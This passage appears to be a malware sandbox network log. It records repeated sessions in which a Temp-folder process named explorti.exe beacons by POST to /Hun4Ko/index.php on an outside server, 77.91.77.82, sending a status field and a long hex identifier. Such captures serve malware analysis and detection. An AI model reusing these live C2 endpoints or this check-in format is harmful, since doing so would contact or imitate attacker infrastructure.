19	192.168.2.6	49743	77.91.77.82	80	7104	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 1, 2024 07:21:18.377114058 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 1, 2024 07:21:19.072810888 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 01 Jul 2024 05:21:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 1, 2024 07:21:19.073928118 CEST	309	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 36 37 35 42 36 35 30 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7BB42675B65082D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jul 1, 2024 07:21:19.295723915 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 01 Jul 2024 05:21:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.6	49745	77.91.77.82	80	7104	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 1, 2024 07:21:19.408701897 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 1, 2024 07:21:20.095431089 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 01 Jul 2024 05:21:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 1, 2024 07:21:20.096350908 CEST	309	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 36 37 35 42 36 35 30 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7BB42675B65082D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jul 1, 2024 07:21:20.312747955 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 01 Jul 2024 05:21:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.6	49746	77.91.77.82	80	7104	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 1, 2024 07:21:20.424269915 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 1, 2024 07:21:21.119445086 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 01 Jul 2024 05:21:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 1, 2024 07:21:21.123279095 CEST	309	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 36 37 35 42 36 35 30 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7BB42675B65082D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jul 1, 2024 07:21:21.343878984 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 01 Jul 2024 05:21:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.6	49747	77.91.77.82	80	7104	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 1, 2024 07:21:21.455214024 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 1, 2024 07:21:22.165599108 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 01 Jul 2024 05:21:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 1, 2024 07:21:22.166769981 CEST	309	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 36 37 35 42 36 35 30 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7BB42675B65082D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jul 1, 2024 07:21:22.391905069 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 01 Jul 2024 05:21:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.6	49748	77.91.77.82	80	7104	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 1, 2024 07:21:22.673702955 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 1, 2024 07:21:23.380917072 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 01 Jul 2024 05:21:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 1, 2024 07:21:23.382240057 CEST	309	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 36 37 35 42 36 35 30 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7BB42675B65082D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jul 1, 2024 07:21:23.606761932 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 01 Jul 2024 05:21:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.6	49749	77.91.77.82	80	7104	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 1, 2024 07:21:23.721509933 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 1, 2024 07:21:24.420526981 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 01 Jul 2024 05:21:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 1, 2024 07:21:24.423283100 CEST	309	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 36 37 35 42 36 35 30 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7BB42675B65082D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jul 1, 2024 07:21:24.643723965 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 01 Jul 2024 05:21:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.6	49750	77.91.77.82	80	7104	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 1, 2024 07:21:24.752608061 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 1, 2024 07:21:25.482597113 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 01 Jul 2024 05:21:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 1, 2024 07:21:25.483413935 CEST	309	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 36 37 35 42 36 35 30 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7BB42675B65082D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jul 1, 2024 07:21:25.712311983 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 01 Jul 2024 05:21:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.6	49751	77.91.77.82	80	7104	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 1, 2024 07:21:25.878251076 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 1, 2024 07:21:26.592211008 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 01 Jul 2024 05:21:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 1, 2024 07:21:26.595305920 CEST	309	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 36 37 35 42 36 35 30 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7BB42675B65082D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jul 1, 2024 07:21:26.815927982 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 01 Jul 2024 05:21:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.6	49752	77.91.77.82	80	7104	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 1, 2024 07:21:26.924381971 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 1, 2024 07:21:27.636337042 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 01 Jul 2024 05:21:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 1, 2024 07:21:27.637310982 CEST	309	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 36 37 35 42 36 35 30 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7BB42675B65082D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jul 1, 2024 07:21:27.857934952 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 01 Jul 2024 05:21:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.6	49753	77.91.77.82	80	7104	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 1, 2024 07:21:27.971735954 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 1, 2024 07:21:28.658525944 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 01 Jul 2024 05:21:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 1, 2024 07:21:28.659390926 CEST	309	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 36 37 35 42 36 35 30 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7BB42675B65082D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jul 1, 2024 07:21:28.875101089 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 01 Jul 2024 05:21:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.6	49755	77.91.77.82	80	7104	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 1, 2024 07:21:28.987044096 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 1, 2024 07:21:29.691966057 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 01 Jul 2024 05:21:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 1, 2024 07:21:29.692773104 CEST	309	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 36 37 35 42 36 35 30 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7BB42675B65082D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jul 1, 2024 07:21:29.913599968 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 01 Jul 2024 05:21:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.6	49756	77.91.77.82	80	7104	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 1, 2024 07:21:30.038757086 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 1, 2024 07:21:30.742124081 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 01 Jul 2024 05:21:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 1, 2024 07:21:30.745186090 CEST	309	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 36 37 35 42 36 35 30 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7BB42675B65082D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jul 1, 2024 07:21:30.963707924 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 01 Jul 2024 05:21:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.6	49757	77.91.77.82	80	7104	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 1, 2024 07:21:31.080559969 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 1, 2024 07:21:31.806379080 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 01 Jul 2024 05:21:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
